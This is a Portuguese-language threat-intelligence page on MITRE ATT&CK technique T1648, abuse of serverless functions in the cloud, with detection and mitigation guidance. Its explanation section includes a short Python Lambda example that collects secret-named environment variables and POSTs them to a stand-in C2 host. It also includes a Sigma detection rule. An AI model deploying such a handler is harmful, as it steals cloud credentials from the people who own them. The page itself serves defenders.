# T1648 - Execução Serverless
## Descrição
Adversários podem abusar de serviços de computação serverless, integração e automação para executar código arbitrário em ambientes de nuvem sem a necessidade de gerenciar infraestrutura de servidores. Os principais provedores de nuvem oferecem uma variedade de recursos serverless - funções de computação sob demanda (AWS Lambda, Azure Functions, Google Cloud Functions), motores de automação (AWS Step Functions, Azure Logic Apps, Google Cloud Workflows) e plataformas de integração de aplicações corporativas (Microsoft Power Automaté, Google Apps Script).
Adversários exploram esses recursos de diversas formas. Funções serverless podem ser usadas para executar código malicioso, como malware de mineração de criptomoedas (ver [[t1496-resource-hijacking|Sequestro de Recursos]]), scripts de exfiltração ou stagers de comprometimento adicional da nuvem. Um vetor comum envolve o abuso de permissões IAM - por exemplo, usando `IAM:PassRole` na AWS ou `iam.serviceAccounts.actAs` no Google Cloud - para atribuir [[t1098-003-additional-cloud-roles|Funções Adicionais na Nuvem]] a uma função serverless, elevando os privilégios além do que o usuário original possui.
Funções serverless também podem ser configuradas para disparar automaticamente em resposta a eventos da nuvem, criando um mecanismo de [[t1546-event-triggered-execution|Execução Disparada por Evento]] que garante persistência sem infraestrutura permanente. Por exemplo, na AWS, um adversário pode criar uma função Lambda que automaticamente adiciona [[t1098-001-additional-cloud-credentials|Credenciais de Nuvem Adicionais]] a um usuário, combinada com uma regra CloudWatch Events que aciona a função sempre que um novo usuário é criado. Em ambientes Microsoft 365, isso pode ser replicado com fluxos Power Automaté que encaminham e-mails ou criam links de compartilhamento anônimos automaticamente. No Google Workspace, Apps Scripts podem exfiltrar dados do usuário sempre que um arquivo específico é acessado.
**Contexto Brasil/LATAM:** A adoção acelerada de arquiteturas serverless por empresas brasileiras - especialmente no setor [[financial]] e em startups de tecnologia - amplia a superfície de ataque nesta dimensão. Grupos de ameaça com foco em fraude financeira têm explorado funções Lambda e Azure Functions de ambientes comprometidos para realizar movimentação lateral silenciosa e manter persistência em contas cloud corporativas sem gerar alertas de novas instâncias EC2 ou VMs. A falta de visibilidade nativa em funções serverless na maioria dos SOCs brasileiros torna essa técnica especialmente perigosa.
## Attack Flow
```mermaid
graph TB
A[Credencial Cloud Comprometida] --> B[Enumeração de Funções Existentes]
B --> C{Estrategia do Adversário}
C -->|Criar nova função| D[Deploy de Função Maliciosa]
C -->|Abusar função existente| E[Modificação de Código Existente]
D --> F["ESTA TÉCNICA: T1648<br/>Execução Serverless"]
E --> F
F --> G{Trigger}
G -->|HTTP Request| H[Execução sob Demanda]
G -->|Cloud Event| I[Execução Automática por Evento]
G -->|Agendamento| J[Execução Periódica - CRON Cloud]
H --> K[Mineração / Exfiltração / C2]
I --> L[Persistência via Event Rule]
J --> K
L --> K
```
## Como Funciona
1. **Preparação** - O adversário obtém acesso a credenciais cloud com permissões de criação ou modificação de funções serverless (via [[t1078-valid-accounts|Contas Válidas]], phishing de credenciais SaaS ou exploração de IAM). Ferramentas como [[s1091-pacu|Pacu]] (framework de exploração AWS) são usadas para enumerar funções existentes e permissões associadas.
2. **Execução** - Uma nova função serverless é criada (ou uma existente é modificada) com o payload malicioso. A função recebe uma role IAM com permissões ampliadas via `PassRole`. Um trigger é configurado: HTTP endpoint, evento de serviço cloud (S3 upload, novo usuário IAM, mudança de configuração) ou agendamento recorrente (EventBridge Scheduler na AWS, Cloud Scheduler no GCP).
3. **Pós-execução** - A função executa de forma efêmera, sem rastros de infraestrutura persistente. Cada invocação pode realizar exfiltração de dados, criação de novas credenciais, movimentação lateral para outros serviços cloud ou mineração de criptomoeda nos recursos alocados. Os logs ficam no CloudWatch/Cloud Logging mas frequentemente não são monitorados por equipes de segurança.
**Exemplo de função Lambda maliciosa (reconhecimento de credenciais):**
```python
# Análise: função Lambda que exfiltra credenciais de ambiente
# para endpoint externo controlado pelo adversário
import os, urllib.request, json
def handler(event, context):
creds = {k: v for k, v in os.environ.items()
if any(x in k.upper() for x in ['KEY', 'SECRET', 'TOKEN', 'PASS'])}
# exfiltração para C2 externo
req = urllib.request.Request(
'https://c2.example[.]com/collect',
data=json.dumps(creds).encode(),
method='POST'
)
urllib.request.urlopen(req)
```
## Detecção
**Fontes de dados:** AWS CloudTrail (CreateFunction, UpdateFunctionCode, AddPermission, PassRole), Azure Monitor (Function App deployments), GCP Cloud Audit Logs (cloudfunctions.functions.creaté), Microsoft 365 Unified Audit Log (Power Automaté flow criado/modificado).
```yaml
title: Criação Suspeita de Função Serverless com PassRole
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: >
Detecta criação ou atualização de funções serverless combinada com
atribuição de roles IAM privilegiadas - padrão comum em abuso de T1648.
logsource:
product: aws
service: cloudtrail
detection:
selection_creaté:
eventName:
- CreateFunction
- UpdateFunctionCode
- UpdateFunctionConfiguration
selection_passrole:
eventName: PassRole
requestParameters.roleName|contains:
- 'Admin'
- 'PowerUser'
- 'FullAccess'
timeframe: 10m
condition: selection_creaté and selection_passrole
falsepositives:
- Deploys legítimos de CI/CD com roles amplas em ambientes de desenvolvimento
- Provisionamento automatizado via IaC (Terraform, CloudFormation)
level: high
tags:
- attack.execution
- attack.t1648
- attack.privilege_escalation
```
**Sinais de alerta adicionais:**
- Função serverless invocada fora de horário comercial com alto volume de requisições de rede externas
- Novo flow Power Automaté criado com acesso a caixa postal de usuários privilegiados
- Apps Script no Google Workspace acessando escopos sensíveis (Drive, Gmail, Admin SDK)
- Execução de função Lambda sem registro de deploy correspondente em pipeline CI/CD
## Mitigação
| Mitigação | Recomendação |
|-----------|-------------|
| [[m1036-account-use-policies\|M1036 - Account Use Policies]] | Implementar política de least privilege rigorosa para criação de funções serverless. Restringir `IAM:PassRole` a pipelines CI/CD autorizados e nunca conceder a usuários humanos diretamente. Usar SCPs (Service Control Policies) na AWS para bloquear PassRole em contas de produção. |
| [[m1018-user-account-management\|M1018 - User Account Management]] | Auditar regularmente quais contas têm permissão para criar, modificar ou invocar funções serverless. Usar MFA para todas as contas com acesso a recursos serverless de produção. Implementar revisão periódica de roles Lambda e Azure Function identities. |
## Software Associado
- [[s1091-pacu|Pacu]] - framework de exploração AWS amplamente usado para enumerar e abusar funções Lambda
## Referências
*Fonte: [MITRE ATT&CK - T1648](https://attack.mitre.org/techniques/T1648)*